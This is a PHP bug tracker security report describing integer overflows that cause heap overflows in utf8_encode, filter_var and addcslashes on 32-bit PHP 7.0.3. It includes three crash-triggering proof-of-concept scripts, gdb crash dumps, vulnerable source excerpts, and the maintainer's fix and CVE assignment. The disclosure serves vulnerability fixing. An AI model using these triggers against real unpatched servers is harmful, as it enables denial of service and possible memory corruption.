php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #71637 Multiple Heap Overflow due to integer overflows | xml/filter_url/addcslashes
Submitted: 2016-02-20 12:21 UTC Modified: 2016-04-28 17:02 UTC
From: manhluat at vnsecurity dot net Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 7.0.3 OS:
Private report: No CVE-ID: 2016-4344
 [2016-02-20 12:21 UTC] manhluat at vnsecurity dot net
Description:
------------
When I searched the string "zend_string_alloc" and look at those length, i found some integer-overflow issues which leading to heap overflow.

I've attached 03 various crash report below.

All of them are tested on PHP7.0.3-32bit.

* Fix:
- We should use safe string allocation method.



Test script:
---------------
<?php
//1.php
ini_set('memory_limit',-1);
utf8_encode(str_repeat("A",(0xffffffff/4)+0x1000));
?>

<?php
//2.php
ini_set('memory_limit',-1);
$a = str_repeat('@',0xffffffff/3 + 10);
filter_var($a, FILTER_SANITIZE_ENCODED); 
?>

<?php
//3.php
ini_set('memory_limit',-1);
addcslashes(str_repeat('A',0xffffffff/4 + 0x1337),'/');
?>

Expected result:
----------------
root@ubuntu:~/php/poc/heapoverflow_string# /root/php/32bit/php-7.0.3/sapi/cli/php 1.php
Segmentation fault (core dumped)
root@ubuntu:~/php/poc/heapoverflow_string# USE_ZEND_ALLOC=0 /root/php/32bit/php-7.0.3/sapi/cli/php 2.php
Segmentation fault (core dumped)
root@ubuntu:~/php/poc/heapoverflow_string# /root/php/32bit/php-7.0.3/sapi/cli/php 3.php
Segmentation fault (core dumped)
root@ubuntu:~/php/poc/heapoverflow_string# 

Actual result:
--------------
gdb-peda$ r /root/php/poc/heapoverflow_string/1.php 
Starting program: /root/php/32bit/php-7.0.3/sapi/cli/php /root/php/poc/heapoverflow_string/1.php

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x194ff0 
EBX: 0x0 
ECX: 0x41 ('A')
EDX: 0xf5e6b000 --> 0x1 
ESI: 0xf5e14020 --> 0xf5e74118 ('A' <repeats 200 times>...)
EDI: 0xf5e74118 ('A' <repeats 200 times>...)
EBP: 0xffff9f78 --> 0xffff9fb8 --> 0xffffa038 --> 0xffffa058 --> 0xffffa138 --> 0xffffa168 --> 0xffffc318 --> 0xffffd598 --> 0xffffd6b8 --> 0x0 
ESP: 0xffff9ef0 --> 0x41 ('A')
EIP: 0x8453939 (<xml_utf8_encode+478>:  mov    BYTE PTR [edx+eax*1+0x10],cl)
EFLAGS: 0x10293 (CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8453931 <xml_utf8_encode+470>:     mov    edx,DWORD PTR [ebp-0x60]
   0x8453934 <xml_utf8_encode+473>:     mov    ecx,edx
   0x8453936 <xml_utf8_encode+475>:     mov    edx,DWORD PTR [ebp-0x64]
=> 0x8453939 <xml_utf8_encode+478>:     mov    BYTE PTR [edx+eax*1+0x10],cl
   0x845393d <xml_utf8_encode+482>:     jmp    0x8453a94 <xml_utf8_encode+825>
   0x8453942 <xml_utf8_encode+487>:     cmp    DWORD PTR [ebp-0x60],0x7ff
   0x8453949 <xml_utf8_encode+494>:     ja     0x8453992 <xml_utf8_encode+567>
   0x845394b <xml_utf8_encode+496>:     mov    eax,DWORD PTR [ebp-0x64]
[------------------------------------stack-------------------------------------]
0000| 0xffff9ef0 --> 0x41 ('A')
0004| 0xffff9ef4 --> 0xf5e14100 --> 0xfff00000 
0008| 0xffff9ef8 --> 0x18 
0012| 0xffff9efc --> 0x8a8da40 --> 0x0 
0016| 0xffff9f00 --> 0x1 
0020| 0xffff9f04 --> 0x1 
0024| 0xffff9f08 --> 0x3fe6c00f 
0028| 0xffff9f0c --> 0x84536ae (<xml_encode_iso_8859_1>:        push   ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x08453939 in xml_utf8_encode (s=0xb5b95000 'A' <repeats 200 times>..., len=0x40000fff, encoding=0x8a8d5ba "ISO-8859-1") at /root/php/32bit/php-7.0.3/ext/xml/xml.c:589
589                             ZSTR_VAL(str)[ZSTR_LEN(str)++] = (char) c;
gdb-peda$ 




///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////


gdb-peda$ set environment USE_ZEND_ALLOC=0
gdb-peda$ r /root/php/poc/heapoverflow_string/2.php 
Starting program: /root/php/32bit/php-7.0.3/sapi/cli/php /root/php/poc/heapoverflow_string/2.php

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0x20ba0 
EDX: 0x0 
ESI: 0xf5e18028 --> 0x8c78b80 --> 0x8562bd8 (<ZEND_DO_ICALL_SPEC_HANDLER>:      push   ebp)
EDI: 0x8c78b80 --> 0x8562bd8 (<ZEND_DO_ICALL_SPEC_HANDLER>:     push   ebp)
EBP: 0xffff9f48 --> 0xffff9f98 --> 0xffffa018 --> 0xffffa038 --> 0xffffa118 --> 0xffffa148 --> 0xffffc2f8 --> 0xffffd578 --> 0xffffd698 --> 0x0 
ESP: 0xffff9ef0 --> 0xf5e18028 --> 0x8c78b80 --> 0x8562bd8 (<ZEND_DO_ICALL_SPEC_HANDLER>:       push   ebp)
EIP: 0x84ec6bb (<_zval_copy_ctor_func+249>:     mov    DWORD PTR [eax],0x1)
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x84ec6b0 <_zval_copy_ctor_func+238>:        call   0x84bbdf4 <_emalloc>
   0x84ec6b5 <_zval_copy_ctor_func+243>:        mov    DWORD PTR [ebp-0x18],eax
   0x84ec6b8 <_zval_copy_ctor_func+246>:        mov    eax,DWORD PTR [ebp-0x18]
=> 0x84ec6bb <_zval_copy_ctor_func+249>:        mov    DWORD PTR [eax],0x1
   0x84ec6c1 <_zval_copy_ctor_func+255>:        cmp    DWORD PTR [ebp-0x1c],0x0
   0x84ec6c5 <_zval_copy_ctor_func+259>:        je     0x84ec6ce <_zval_copy_ctor_func+268>
   0x84ec6c7 <_zval_copy_ctor_func+261>:        mov    eax,0x106
   0x84ec6cc <_zval_copy_ctor_func+266>:        jmp    0x84ec6d3 <_zval_copy_ctor_func+273>
[------------------------------------stack-------------------------------------]
0000| 0xffff9ef0 --> 0xf5e18028 --> 0x8c78b80 --> 0x8562bd8 (<ZEND_DO_ICALL_SPEC_HANDLER>:      push   ebp)
0004| 0xffff9ef4 --> 0xf5e180e8 --> 0x202 
0008| 0xffff9ef8 --> 0x1 
0012| 0xffff9efc --> 0xf5e18098 --> 0x4b36c008 --> 0x1 
0016| 0xffff9f00 --> 0x14 
0020| 0xffff9f04 --> 0x1 
0024| 0xffff9f08 --> 0xf5e18098 --> 0x4b36c008 --> 0x1 
0028| 0xffff9f0c --> 0xf5e18098 --> 0x4b36c008 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x084ec6bb in zend_string_alloc (persistent=0x0, len=0x5555555f) at /root/php/32bit/php-7.0.3/Zend/zend_string.h:123
123             GC_REFCOUNT(ret) = 1;
gdb-peda$ 






///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////




gdb-peda$ r /root/php/poc/heapoverflow_string/3.php 
Starting program: /root/php/32bit/php-7.0.3/sapi/cli/php /root/php/poc/heapoverflow_string/3.php

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xf6000000 
EBX: 0x0 
ECX: 0x7c ('|')
EDX: 0x41 ('A')
ESI: 0xf5e14020 --> 0xf5e74134 ('A' <repeats 200 times>...)
EDI: 0xf5e74134 ('A' <repeats 200 times>...)
EBP: 0xffff9f58 --> 0xffff9fb8 --> 0xffffa038 --> 0xffffa058 --> 0xffffa138 --> 0xffffa168 --> 0xffffc318 --> 0xffffd598 --> 0xffffd6b8 --> 0x0 
ESP: 0xffff9dd0 --> 0xf5e552f9 --> 0x0 
EIP: 0x840848e (<php_addcslashes+651>:  mov    BYTE PTR [eax],dl)
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x840847e <php_addcslashes+635>:     lea    edx,[eax+0x1]
   0x8408481 <php_addcslashes+638>:     mov    DWORD PTR [ebp-0x154],edx
   0x8408487 <php_addcslashes+644>:     movzx  edx,BYTE PTR [ebp-0x159]
=> 0x840848e <php_addcslashes+651>:     mov    BYTE PTR [eax],dl
   0x8408490 <php_addcslashes+653>:     add    DWORD PTR [ebp-0x158],0x1
   0x8408497 <php_addcslashes+660>:     mov    eax,DWORD PTR [ebp-0x158]
   0x840849d <php_addcslashes+666>:     cmp    eax,DWORD PTR [ebp-0x14c]
   0x84084a3 <php_addcslashes+672>:     jb     0x8408335 <php_addcslashes+306>
[------------------------------------stack-------------------------------------]
0000| 0xffff9dd0 --> 0xf5e552f9 --> 0x0 
0004| 0xffff9dd4 --> 0x1 
0008| 0xffff9dd8 --> 0xffff9e4c --> 0x0 
0012| 0xffff9ddc --> 0x84b547f (<zend_mm_chunk_alloc_int+260>:  mov    eax,DWORD PTR [ebp-0x10])
0016| 0xffff9de0 --> 0xf5e69040 --> 0xb5a00000 --> 0x1 
0020| 0xffff9de4 --> 0xf5e00040 --> 0x0 
0024| 0xffff9de8 --> 0xf5e552f8 --> 0x2f ('/')
0028| 0xffff9dec --> 0xb5a00000 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0840848e in php_addcslashes (str=0xb5a00000, should_free=0x0, what=0xf5e552f8 "/", wlength=0x1) at /root/php/32bit/php-7.0.3/ext/standard/string.c:3845
3845                    *target++ = c;
gdb-peda$ 

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-02-22 00:56 UTC] stas@php.net
-Status: Open +Status: Feedback
 [2016-02-22 00:56 UTC] stas@php.net
Could you please explain why you think that any of those are security issues?
 [2016-02-22 06:28 UTC] manhluat at vnsecurity dot net
-Status: Feedback +Status: Open
 [2016-02-22 06:28 UTC] manhluat at vnsecurity dot net
Basically, it is related to https://bugs.php.net/bug.php?id=71270

They are on same issues.

When sizeof allocated places is less than the its input.

You can see crash reports, it tried to over-write the next block and so on.

If #71270 was considered to be security issues, then i think these issues should be also.

*********************** SNIP ***********************

PHP_XML_API zend_string *xml_utf8_encode(const char *s, size_t len, const XML_Char *encoding)
{
...
	str = zend_string_alloc(len * 4, 0);
...

...
PHPAPI zend_string *php_addcslashes(zend_string *str, int should_free, char *what, size_t wlength)
{
	char flags[256];
	char *source, *target;
	char *end;
	char c;
	size_t  newlen;
	zend_string *new_str = zend_string_alloc(4 * ZSTR_LEN(str), 0);
...



static void php_filter_encode_url(zval *value, const unsigned char* chars, const int char_len, int high, int low, int encode_nul)
{
...
	str = zend_string_alloc(3 * Z_STRLEN_P(value), 0);

*********************** SNIP ***********************
 [2016-02-22 07:18 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-02-22 07:18 UTC] stas@php.net
Fix added to security repo as 57b997ebf99e0eb9a073e0dafd2ab100bd4a112d and to https://gist.github.com/smalyshev/06070802c576df949aab, Please verify.
 [2016-02-22 07:33 UTC] manhluat at vnsecurity dot net
well issues is fixed

since safe allocation method is used, exception will occur if integer-overflow happens.
 [2016-03-02 07:12 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9cabc99fcef0f12b472e40811beab4eb2ef17e1b
Log: Fix bug #71637: Multiple Heap Overflow due to integer overflows
 [2016-03-02 07:12 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-03-02 07:12 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=57b997ebf99e0eb9a073e0dafd2ab100bd4a112d
Log: Fix bug #71637: Multiple Heap Overflow due to integer overflows
 [2016-04-28 17:00 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2016-4344
 [2016-04-28 17:02 UTC] remi@php.net
CVE-2016-4344: ext/xml/xml.c
CVE-2016-4345: ext/filter/sanitizing_filters.c
CVE-2016-4346: ext/standard/string.c
 [2016-07-20 11:33 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9cabc99fcef0f12b472e40811beab4eb2ef17e1b
Log: Fix bug #71637: Multiple Heap Overflow due to integer overflows
 [2016-07-20 11:33 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=57b997ebf99e0eb9a073e0dafd2ab100bd4a112d
Log: Fix bug #71637: Multiple Heap Overflow due to integer overflows
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 23:01:29 2024 UTC